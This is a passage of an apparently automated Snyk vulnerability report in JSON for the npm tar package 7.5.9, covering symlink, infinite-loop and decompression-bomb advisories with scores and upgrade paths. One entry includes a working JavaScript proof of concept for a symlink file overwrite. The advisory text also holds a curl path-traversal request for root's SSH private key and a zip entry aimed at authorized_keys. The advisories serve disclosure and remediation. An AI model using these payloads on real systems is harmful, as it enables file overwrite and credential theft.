[GitHub Commit](https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad)\n", "epssDetails": { "percentile": "0.16344", "probability": "0.00253", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-31802" ], "CWE": [ "CWE-59" ], "GHSA": [ "GHSA-9ppj-qmqm-q256" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-11T08:15:39.386368Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-10T23:44:58Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-11T08:15:39.582545Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T02:01:20.790850Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909068", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.18" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.18" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5", "title": "GitHub Commit" }, { "url": "https://github.com/isaacs/node-tar/releases/tag/v7.5.18", "title": "GitHub Release" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:08.224995Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:08.224995Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Infinite loop via the `replace` method. An attacker can cause the archive scanner to enter an infinite loop by providing a tar header with a negative base-256 encoded entry size.\n## Remediation\nUpgrade `tar` to version 7.5.18 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5)\n- [GitHub Release](https://github.com/isaacs/node-tar/releases/tag/v7.5.18)\n", "epssDetails": { "percentile": "0.35948", "probability": "0.00434", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59874" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-8x88-c5mf-7j5w" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:15:52.146477Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:45:46Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:15:52.339195Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:08.224995Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909152", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.19" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.19" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:08.177166Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:08.177166Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of enforced upper bounds on total decompressed data, entry counts, or decompression ratio in extraction and parsing paths such as `src/extract.ts`. An attacker can exhaust disk space and CPU resources by submitting a small crafted gzip archive with a high decompression ratio.\n## Remediation\nUpgrade `tar` to version 7.5.19 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3)\n", "epssDetails": { "percentile": "0.43872", "probability": "0.00556", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59873" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-23hp-3jrh-7fpw" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:19:53.639547Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:47:03Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:19:53.812274Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:08.177166Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15416075", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.10" ] }, "exploit": "Not Defined", "fixedIn": [ "7.5.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 8.6, "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 6.3, "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-09-02T02:01:15.540037Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-09-02T02:01:15.540037Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 8.6, "cvssVersion": "3.1", "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack exploitable via `stripAbsolutePath()`, used by the `Unpack` class. An attacker can overwrite arbitrary files outside the intended extraction directory by including a hardlink whose `linkpath` uses a drive-relative path such as `C:../target.txt` in a malicious tar.\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.10 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f)\n", "epssDetails": { "percentile": "0.36353", "probability": "0.00439", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-29786" ], "CWE": [ "CWE-22", "CWE-59" ], "GHSA": [ "GHSA-qffp-2rhf-9h96" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-05T07:19:20.751739Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-05T00:52:32Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-05T07:19:21.124544Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-02T02:01:15.540037Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15456201", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.11" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.2, "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.5, "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-08-24T02:01:20.790850Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "3.1", "modificationTime": "2026-08-24T02:01:20.790850Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.2, "cvssVersion": "3.1", "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack via `tar.x()` extraction, which allows an attacker to overwrite arbitrary files outside the intended extraction directory with a drive-relative symlink target - like `C:../../../target.txt`.\n## PoC\n```js\r\n\r\nconst fs = require('fs')\r\nconst path = require('path')\r\nconst { Header, x } = require('tar')\r\n\r\nconst cwd = process.cwd()\r\nconst target = path.resolve(cwd, '..', 'target.txt')\r\nconst tarFile = path.join(cwd, 'poc.tar')\r\n\r\nfs.writeFileSync(target, 'ORIGINAL\\n')\r\n\r\nconst b = Buffer.alloc(1536)\r\nnew Header({\r\n path: 'a/b/l',\r\n type: 'SymbolicLink',\r\n linkpath: 'C:../../../target.txt',\r\n}).encode(b, 0)\r\nfs.writeFileSync(tarFile, b)\r\n\r\nx({ cwd, file: tarFile }).then(() => {\r\n fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\\n')\r\n process.stdout.write(fs.readFileSync(target, 'utf8'))\r\n})\r\n```\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.11 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad)\n", "epssDetails": { "percentile": "0.16344", "probability": "0.00253", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-31802" ], "CWE": [ "CWE-59" ], "GHSA": [ "GHSA-9ppj-qmqm-q256" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-11T08:15:39.386368Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-10T23:44:58Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-11T08:15:39.582545Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T02:01:20.790850Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909068", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.18" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.18" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5", "title": "GitHub Commit" }, { "url": "https://github.com/isaacs/node-tar/releases/tag/v7.5.18", "title": "GitHub Release" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:08.224995Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:08.224995Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Infinite loop via the `replace` method. An attacker can cause the archive scanner to enter an infinite loop by providing a tar header with a negative base-256 encoded entry size.\n## Remediation\nUpgrade `tar` to version 7.5.18 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5)\n- [GitHub Release](https://github.com/isaacs/node-tar/releases/tag/v7.5.18)\n", "epssDetails": { "percentile": "0.35948", "probability": "0.00434", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59874" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-8x88-c5mf-7j5w" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:15:52.146477Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:45:46Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:15:52.339195Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:08.224995Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909152", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.19" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.19" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:08.177166Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:08.177166Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of enforced upper bounds on total decompressed data, entry counts, or decompression ratio in extraction and parsing paths such as `src/extract.ts`. An attacker can exhaust disk space and CPU resources by submitting a small crafted gzip archive with a high decompression ratio.\n## Remediation\nUpgrade `tar` to version 7.5.19 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3)\n", "epssDetails": { "percentile": "0.43872", "probability": "0.00556", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59873" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-23hp-3jrh-7fpw" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:19:53.639547Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:47:03Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:19:53.812274Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:08.177166Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15416075", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.10" ] }, "exploit": "Not Defined", "fixedIn": [ "7.5.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 8.6, "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 6.3, "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-09-02T02:01:15.540037Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-09-02T02:01:15.540037Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 8.6, "cvssVersion": "3.1", "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "type": "secondary", "vector": 